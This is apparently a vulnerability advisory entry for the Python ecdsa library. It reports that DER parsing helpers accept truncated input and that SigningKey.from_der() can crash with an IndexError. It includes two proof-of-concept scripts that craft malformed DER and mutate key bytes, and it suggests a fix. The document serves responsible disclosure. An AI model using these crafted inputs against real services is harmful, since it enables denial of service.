+ "details": "## Summary\n\nAn issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions.\n\n1. `ecdsa.der.remove_octet_string()` accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected.\n\n2. Because of that, a crafted DER input can cause `SigningKey.from_der()` to raise an internal exception (`IndexError: index out of bounds on dimension 1`) rather than cleanly rejecting malformed DER (e.g., raising `UnexpectedDER` or `ValueError`). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service.\n\n## Impact\n\nPotential denial-of-service when parsing untrusted DER private keys due to unexpected internal exceptions, and malformed DER acceptance due to missing bounds checks in DER helper functions.\n\n## Reproduction\n\nAttach and run the following PoCs:\n\n### poc_truncated_der_octet.py\n\n```python\nfrom ecdsa.der import remove_octet_string, UnexpectedDER\n\n# OCTET STRING (0x04)\n# Declared length: 0x82 0x10 0x00 -> 4096 bytes\n# Actual body: only 3 bytes -> truncated DER\nbad = b\"\\x04\\x82\\x10\\x00\" + b\"ABC\"\n\ntry:\n body, rest = remove_octet_string(bad)\n print(\"[BUG] remove_octet_string accepted truncated DER.\")\n print(\"Declared length=4096, actual body_len=\", len(body), \"rest_len=\", len(rest))\n print(\"Body=\", body)\n print(\"Rest=\", rest)\nexcept UnexpectedDER as e:\n print(\"[OK] Rejected malformed DER:\", e)\n```\n\n- Expected: reject malformed DER when declared length exceeds available bytes\n- Actual: accepts the truncated DER and returns a shorter body\n- Example output:\n```\nParsed body_len= 3 rest_len= 0 (while declared length is 4096)\n```\n\n### poc_signingkey_from_der_indexerror.py\n\n```python\nfrom ecdsa import SigningKey, NIST256p\nimport ecdsa\n\nprint(\"ecdsa version:\", ecdsa.__version__)\n\nsk = SigningKey.generate(curve=NIST256p)\ngood = sk.to_der()\nprint(\"Good DER len:\", len(good))\n\n\ndef find_crashing_mutation(data: bytes):\n b = bytearray(data)\n\n # Try every OCTET STRING tag position and corrupt a short-form length byte\n for i in range(len(b) - 4):\n if b[i] != 0x04: # OCTET STRING tag\n continue\n\n L = b[i + 1]\n if L >= 0x80:\n # skip long-form lengths for simplicity\n continue\n\n max_possible = len(b) - (i + 2)\n if max_possible <= 10:\n continue\n\n # Claim more bytes than exist -> truncation\n newL = min(0x7F, max_possible + 20)\n b2 = bytearray(b)\n b2[i + 1] = newL\n\n try:\n SigningKey.from_der(bytes(b2))\n except Exception as e:\n return i, type(e).__name__, str(e)\n\n return None\n\n\nres = find_crashing_mutation(good)\nif res is None:\n print(\"[INFO] No exception triggered by this mutation strategy.\")\nelse:\n i, etype, msg = res\n print(\"[BUG] SigningKey.from_der raised unexpected exception type.\")\n print(\"Offset:\", i, \"Exception:\", etype, \"Message:\", msg)\n```\n\n- Expected: reject malformed DER with `UnexpectedDER` or `ValueError`\n- Actual: deterministically triggers an internal `IndexError` (DoS risk)\n- Example output:\n```\nResult: (5, 'IndexError', 'index out of bounds on dimension 1')\n```\n\n## Suggested fix\n\nAdd “declared length must fit buffer” checks in DER helper functions similarly to the existing check in `remove_sequence()`:\n\n- `remove_octet_string()`\n- `remove_constructed()`\n- `remove_implicit()`\n\nAdditionally, consider catching unexpected internal exceptions in DER key parsing paths and re-raising them as `UnexpectedDER` to avoid crashy failure modes.\n\n## Credit\n\nMohamed Abdelaal (@0xmrma)",
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